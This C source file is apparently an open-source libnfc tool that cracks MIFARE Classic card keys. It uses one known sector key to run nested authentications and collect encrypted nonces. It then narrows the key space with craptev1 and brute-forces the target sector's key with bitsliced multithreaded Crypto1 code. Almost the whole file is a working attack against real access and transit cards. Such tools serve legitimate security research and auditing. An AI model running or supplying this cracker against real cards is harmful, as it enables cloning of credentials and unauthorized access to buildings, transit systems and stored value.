libnfc_crypto1_crack.c

// Copyright (C) 2016 Aram Verstegen
/*
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		       Version 2, June 1991

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 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <nfc/nfc.h>
#include <math.h>

#include "crypto1_bs_crack.h"
#include "readnonces.h"
#define llu PRIu64

extern uint64_t * crypto1_create(uint64_t key);
extern uint32_t crypto1_word(uint64_t *, uint32_t, int);
extern uint8_t crypto1_byte(uint64_t*, uint8_t, int);
extern uint32_t prng_successor(uint32_t x, uint32_t n);
extern void crypto1_destroy(uint64_t*);

#define MC_AUTH_A 0x60
#define MC_AUTH_B 0x61

nfc_device* pnd;
nfc_target target;
typedef uint8_t byte_t;

uint8_t oddparity(const uint8_t bt)
{
  // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel
  return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
}


long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
{
    uint64_t num = 0;
    while (len--) {
        num = (num << 8) | (*src);
        src++;
    }
    return num;
}

// Sectors 0 to 31 have 4 blocks per sector.
// Sectors 32 to 39 have 16 blocks per sector.
uint8_t block_to_sector(uint8_t block)
{
    uint8_t sector;
    if(block < 128) {
        return block >> 2;
    }
    block -= 128;
    return 32 + (block >> 4);
}

static nfc_context *context;

#define MAX_FRAME_LEN 264

uint64_t *nonces = NULL;
size_t nonces_collected;

enum {
    OK,
    ERROR,
    KEY_WRONG,
};

#define VT100_cleareol "\r\33[2K"

// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :)
int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp)
{
    uint64_t *pcs;

    // Possible key counter, just continue with a previous "session"
    uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
    uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 };

    uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
    uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

    uint8_t Rx[MAX_FRAME_LEN]; // Tag response
    uint8_t RxPar[MAX_FRAME_LEN]; // Tag response

    uint32_t Nt;

    int i;

    // Prepare AUTH command
    Cmd[0] = ab_key;
    Cmd[1] = for_block;
    iso14443a_crc_append(Cmd, 2);

    // We need full control over the CRC
    if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0)  {
        nfc_perror(pnd, "nfc_device_set_property_bool crc");
        return ERROR;
    }

    // Request plain tag-nonce
    // TODO: Set NP_EASY_FRAMING option only once if possible
    if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) {
        nfc_perror(pnd, "nfc_device_set_property_bool framing");
        return ERROR;
    }

    if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) {
        fprintf(stdout, "Error while requesting plain tag-nonce ");
        return ERROR;
    }

    if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) {
        nfc_perror(pnd, "nfc_device_set_property_bool");
        return ERROR;
    }

    // Save the tag nonce (Nt)
    Nt = bytes_to_num(Rx, 4);

    // Init the cipher with key {0..47} bits
    pcs = crypto1_create(known_key);

    // Load (plain) uid^nt into the cipher {48..79} bits
    crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0);

    // Generate (encrypted) nr+parity by loading it into the cipher
    for (i = 0; i < 4; i++) {
        // Load in, and encrypt the reader nonce (Nr)
        ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
        ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]);
    }

    // Skip 32 bits in the pseudo random generator
    Nt = prng_successor(Nt, 32);

    // Generate reader-answer from tag-nonce
    for (i = 4; i < 8; i++) {
        // Get the next random byte
        Nt = prng_successor(Nt, 8);
        // Encrypt the reader-answer (Nt' = suc2(Nt))
        ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
        ArEncPar[i] = filter(*pcs) ^ oddparity(Nt);
    }

    // Finally we want to send arbitrary parity bits
    if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) {
        nfc_perror(pnd, "nfc_device_set_property_bool parity ");
        return 1;
    }

    // Transmit reader-answer
    int res;
    if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
        fprintf(stderr, "Reader-answer transfer error, exiting.. ");
        return KEY_WRONG;
    }

    // Decrypt the tag answer and verify that suc3(Nt) is At
    Nt = prng_successor(Nt, 32);

    if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
        fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. ");
        return ERROR;
    }

    Cmd[0] = target_key;
    Cmd[1] = target_block;
    iso14443a_crc_append(Cmd, 2);

    for (i = 0; i < 4; i++) {
        ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i];
        ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]);
    }
    if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
        fprintf(stderr, "Reader-answer transfer error, exiting.. ");
        return ERROR;
    }

    if(fp){
        for(i = 0; i < 4; i++){
            fprintf(fp,"%02x", Rx[i]);
            if(RxPar[i] != oddparity(Rx[i])){
                fprintf(fp,"! ");
            } else {
                fprintf(fp,"  ");
            }
        }
        fprintf(fp, "\n");
    }
    if(nonces){
        nonces[nonces_collected] = 0;
        for(i = 0; i < 4; i++){
            nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i);
            nonces[nonces_collected] |= ((uint64_t) !RxPar[i]) << (32 + (8*i));
        }
        nonces_collected++;
    }

    crypto1_destroy(pcs);
    return OK;
}

uint32_t uid;
uint32_t **space;
uint64_t found_key;
size_t thread_count;
void* crack_states_thread(void* x){
    const size_t thread_id = (size_t)x;
    int j;
    for(j = thread_id; space[j * 5]; j += thread_count) {
        const uint64_t key = crack_states_bitsliced(space + j * 5);
        if(key != -1){
            found_key = key;
            break;
        }
    }
    return NULL;
}

bool stop_collection = false;
#define CUTOFF ((uint64_t) 1<<39)

void * update_predictions_thread(void* p){
    while(!stop_collection){
        if(nonces && uid){
            if(space){
                craptev1_destroy_space(space);
                space = NULL;
            }
            space = craptev1_get_space(nonces, 95, uid);
        }
        if(space){
            total_states = craptev1_sizeof_space(space);
        }
        sleep(1); // We don't need to check this more often than once per second
    }
    return NULL;
}

void notify_status_offline(int sig){
    printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states)));
    alarm(1);
    fflush(stdout);
    signal(SIGALRM, notify_status_offline);
}

void notify_status_online(int sig){
    if(!total_states){
        printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected);
    } else {
        printf(VT100_cleareol "Collected %zu nonces... leftover complexity %"llu" (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2));
        char c;
        if(scanf("%c", &c) == 1 || total_states < CUTOFF){
            printf(" - initializing brute-force phase...\n");
            alarm(0);
            stop_collection = true;
            return;
        } else {
            printf(" - press enter to start brute-force phase");
        }
    }
    alarm(1);
    fflush(stdout);
    signal(SIGALRM, notify_status_online);
}

uint64_t known_key;
uint8_t for_block;
uint8_t ab_key;
uint8_t target_block;
uint8_t target_key;
FILE* fp;

const nfc_modulation nmMifare = {
    .nmt = NMT_ISO14443A,
    .nbr = NBR_106,
};

void * update_nonces_thread(void* v){
    while(!stop_collection){
        // Configure the CRC and Parity settings
        nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
        nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
        // Poll for a ISO14443A (MIFARE) tag
        if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
            nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp);
        } else {
            printf(VT100_cleareol "Don't move the tag!");
            fflush(stdout);
        }
    }
    return NULL;
}

int main (int argc, const char * argv[]) {

    if(argc < 6){
        printf("%s <known key> <for block> <A|B> <target block> <A|B>\n", argv[0]);
        return 1;
    }

    nfc_init(&context);
    pnd = nfc_open(context, NULL);

    if (pnd == NULL) {
        fprintf(stderr, "No NFC device connection\n");
        return 1;
    }

    nfc_initiator_init(pnd);

    nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false);
    // Let the reader only try once to find a tag
    nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false);
    nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
    nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
    nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false);

    uid = 0;

    // Enable field so more power consuming cards can power themselves up
    nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true);
    if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
        uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen);
    }

    if(!uid){
        fprintf(stderr, "No tag detected!\n");
        // Disconnect from NFC device
        nfc_close(pnd);
        return 1;
    }

    known_key = strtoull(argv[1], 0, 16);
    for_block = atoi(argv[2]);
    ab_key = MC_AUTH_A;
    if(argv[3][0] == 'b' || argv[3][0] == 'B'){
       ab_key = MC_AUTH_B;
    }
    target_block = atoi(argv[4]);
    target_key = MC_AUTH_A;
    if(argv[5][0] == 'b' || argv[5][0] == 'B'){
       target_key = MC_AUTH_B;
    }
    switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){
        case KEY_WRONG:
            printf("%012"PRIx64" doesn't look like the right key %s for block %u (sector %u)\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block, block_to_sector(for_block));
            return 1;
        case OK:
            break;
        case ERROR:
        default:
            printf("Some other error occurred.\n");
            break;
    }
    
    printf("Found tag with uid %04x, collecting nonces for key %s of block %u (sector %u) using known key %s %012"PRIx64" for block %u (sector %u)\n",
           uid, target_key == MC_AUTH_A ? "A" : "B", target_block, block_to_sector(target_block), ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block, block_to_sector(for_block));

    char filename[21];
    sprintf(filename, "0x%08x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B");
    fp = fopen(filename, "r+b");
    nonces = malloc(sizeof (uint64_t) <<  24);
    memset(nonces, 0xff, sizeof (uint64_t) <<  24);
    nonces_collected = 0;
    if (fp == NULL) {
        fp = fopen(filename, "wb");
    } else {
        nonces_collected = readnonces(fp, nonces);
        printf("There is %lu nonces in file %s, appending\n", nonces_collected, filename);
    }

    fcntl(0, F_SETFL, O_NONBLOCK);
    signal(SIGALRM, notify_status_online);
    alarm(1);
    pthread_t prediction_thread, nonce_gathering_thread;
    pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL);
    pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL);
    pthread_join(nonce_gathering_thread, 0);
    pthread_join(prediction_thread, 0);
    alarm(0);

    if(fp){
        fclose(fp);
    }
    nfc_close(pnd);

    if(!space){
        space = craptev1_get_space(nonces, 95, uid);
    }
    if(space){
        total_states = craptev1_sizeof_space(space);
    } else {
        total_states = 0;
    }
    if(!total_states){
        fprintf(stderr, "No solution found :(\n");
        return 1;
    }

#ifndef __WIN32
    thread_count = sysconf(_SC_NPROCESSORS_CONF);
#else
    thread_count = 1;
#endif
    // append some zeroes to the end of the space to make sure threads don't go off into the wild
    size_t j = 0;
    for(j = 0; space[j]; j+=5){
    }
    size_t fill = j + (5*thread_count);
    for(; j < fill; j++) {
        space[j] = 0;
    }
    pthread_t threads[thread_count];

    crypto1_bs_init();

    uint8_t rollback_byte = **space;
    // convert to 32 bit little-endian
    crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);

    for(size_t tests = 0; tests < NONCE_TESTS; tests++){
        // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
        uint32_t test_nonce = uid^rev32(nonces[tests]);
        uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
        test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3);
        crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
        // convert to 32 bit little-endian
        crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
    }

    printf("Starting %zu threads to test %"llu" states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES);
    total_states_tested = 0;
    keys_found = 0;
    signal(SIGALRM, notify_status_offline);

    notify_status_offline(0);
    alarm(1);

    size_t i;
    for(i = 0; i < thread_count; i++){
        pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
    }
    for(i = 0; i < thread_count; i++){
        pthread_join(threads[i], 0);
    }
    alarm(0);
    printf("\n");
    if(!keys_found){
        fprintf(stderr, "No solution found :(\n");
        return 1;
    } else {
        printf("Found key: %012"PRIx64"\n", found_key);
    }
    printf("Tested %"llu" states\n", total_states_tested);

    craptev1_destroy_space(space);
    return 0;
}